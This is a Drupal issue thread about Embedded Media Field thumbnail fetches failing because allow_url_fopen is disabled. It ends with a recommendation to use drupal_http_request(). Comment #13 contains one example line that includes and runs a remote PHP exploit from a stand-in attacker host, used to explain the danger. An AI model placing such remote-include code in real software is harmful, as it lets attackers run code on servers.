file_get_contents issues with thumbnail fetch
likewhoa - October 15, 2009 - 18:07
| Project: | Embedded Media Field |
| Version: | 6.x-1.x-dev |
| Component: | Embedded Video Field |
| Category: | bug report |
| Priority: | normal |
| Assigned: | aaron |
| Status: | active |
Jump to:
Description
Using latest -dev modules and latest drupal 6.14 I am getting this:
* warning: file_get_contents() [function.file-get-contents]: URL file-access is disabled in the server configuration in modules/emfield/contrib/emthumb/emthumb.module on line 543.
* warning: file_get_contents(http://img.youtube.com/vi/dzKMjBPQqH0/0.jpg) [function.file-get-contents]: failed to open stream: no suitable wrapper could be found in modules/emfield/contrib/emthumb/emthumb.module on line 543.
* warning: file_get_contents() [function.file-get-contents]: URL file-access is disabled in the server configuration in modules/emfield/contrib/emthumb/emthumb.module on line 543.
* warning: file_get_contents(http://img.youtube.com/vi/dzKMjBPQqH0/0.jpg) [function.file-get-contents]: failed to open stream: no suitable wrapper could be found in modules/emfield/contrib/emthumb/emthumb.module on line 543.after submitting an embedded video from youtube. I will try others and report back.

#1
Same here, what is the solution?
#2
this is unfortunate. it looks like a server php configuration problem. can one of you having the problem post your php info here, maybe i can compare it to mine and find the problem?
thanks,
aaron
#3
subscribing
#4
if you need the whole phpinfo() output you'll have to pm me so i can give you a link to it, but here is what php was compiled with.
'./configure' '--prefix=/usr/lib64/php5' '--host=x86_64-pc-linux-gnu' '--mandir=/usr/lib64/php5/man' '--infodir=/usr/lib64/php5/info' '--sysconfdir=/etc' '--cache-file=./config.cache' '--with-libdir=lib64' '--with-pcre-regex=/usr' '--disable-cli' '--enable-cgi' '--enable-fastcgi' '--enable-fpm' '--with-fpm-conf=/etc/php/cgi-php5/php-fpm.conf' '--disable-discard-path' '--disable-force-cgi-redirect' '--with-config-file-path=/etc/php/cgi-php5' '--with-config-file-scan-dir=/etc/php/cgi-php5/ext-active' '--without-pear' '--enable-bcmath' '--with-bz2' '--enable-calendar' '--with-curl' '--without-curlwrappers' '--disable-dbase' '--enable-exif' '--without-fbsql' '--without-fdftk' '--enable-ftp' '--with-gettext' '--without-gmp' '--disable-hash' '--disable-ipv6' '--disable-json' '--without-kerberos' '--enable-mbstring' '--with-mcrypt' '--with-mhash' '--without-msql' '--without-mssql' '--with-ncurses' '--with-openssl' '--with-openssl-dir=/usr' '--disable-pcntl' '--disable-pdo' '--without-pgsql' '--without-pspell' '--without-recode' '--disable-simplexml' '--disable-shmop' '--without-snmp' '--enable-soap' '--disable-sockets' '--without-sybase' '--without-sybase-ct' '--disable-sysvmsg' '--disable-sysvsem' '--disable-sysvshm' '--without-tidy' '--disable-tokenizer' '--disable-wddx' '--disable-xmlwriter' '--without-xmlrpc' '--without-xsl' '--disable-zip' '--with-zlib' '--disable-debug' '--enable-dba' '--without-cdb' '--without-db4' '--disable-flatfile' '--with-gdbm' '--disable-inifile' '--without-qdbm' '--with-freetype-dir=/usr' '--with-t1lib=/usr' '--disable-gd-jis-conv' '--with-jpeg-dir=/usr' '--with-png-dir=/usr' '--without-xpm-dir' '--with-gd' '--with-imap' '--with-imap-ssl' '--with-mysql=/usr' '--with-mysql-sock=/var/run/mysqld/mysqld.sock' '--with-mysqli=/usr/bin/mysql_config' '--with-readline' '--without-libedit' '--without-mm' '--without-sqlite'#5
#6
I suspect the server is either running PHP in safe mode, or with allow_url_fopen = OFF. Can you please check that? See also #436146: warning: fopen(/tmp/) [0function.fopen0]: failed to open stream: Is a directory in .../feedapi_imagegrabber.module on line 526 and #210191: Problems with file_get_contents().
#7
both of those are off, I rather not turn on safe mode but allow_url_fopen would be no problem, if you require safe mode to be on then I would suggest you find a way for it to work with it off. Thanks.
#8
no, don't run it with safe mode on. causes lots of issues w/ drupal in general.
you do need allow_url_fopen ON for embedded thumbnail media.
#9
i suppose we could discover that in the module requirements?
#10
safe mode has issues with php in general thus why it's recommended to be off for most. Thanks for the help and I would just add the allow_url_fopen requirement in README.txt
#11
Thanks, added that to the readme.
#12
Automatically closed -- issue fixed for 2 weeks with no activity.
#13
Sorry for reopening this issue, but I don't think that advising people to turn
allow_url_fopenon is the correct way to handle it.Notice that
allow_url_fopenis a PHP mistake from a security point of view. Running withallow_url_fopen = onallows thing like:<?phpinclude('http://evil.example.com/exploit.php');
?>
The code above will load and run the remote PHP file on the server if
allow_url_fopenis on andallow_url_includeis also on (which sadly may be the case in many servers where PHP were updated but new directives like this one were not included on php.ini).That's why many hosting companies run with
allow_url_fopen = off.But even if you're willing to run with
allow_url_fopen = on, you may not be allowed to do so by your hosting company. In such cases, the only choice would be to switch host, which may be a PITA in some cases.So what's the solution then?
For general PHP programming, you may use the curl extension or even roll your own HTTP request procedure using the socket interface.
But hey, we all use Drupal here so we already have drupal_http_request() which do the dirty job of making the TCP connection, doing the HTTP talk, handling errors etc.:
So IMHO the correct way to fix this problem is to switch all remote
file_get_contents()withdrupal_http_request().#14
Thanks @flaviovs, I'll roll this into the next release.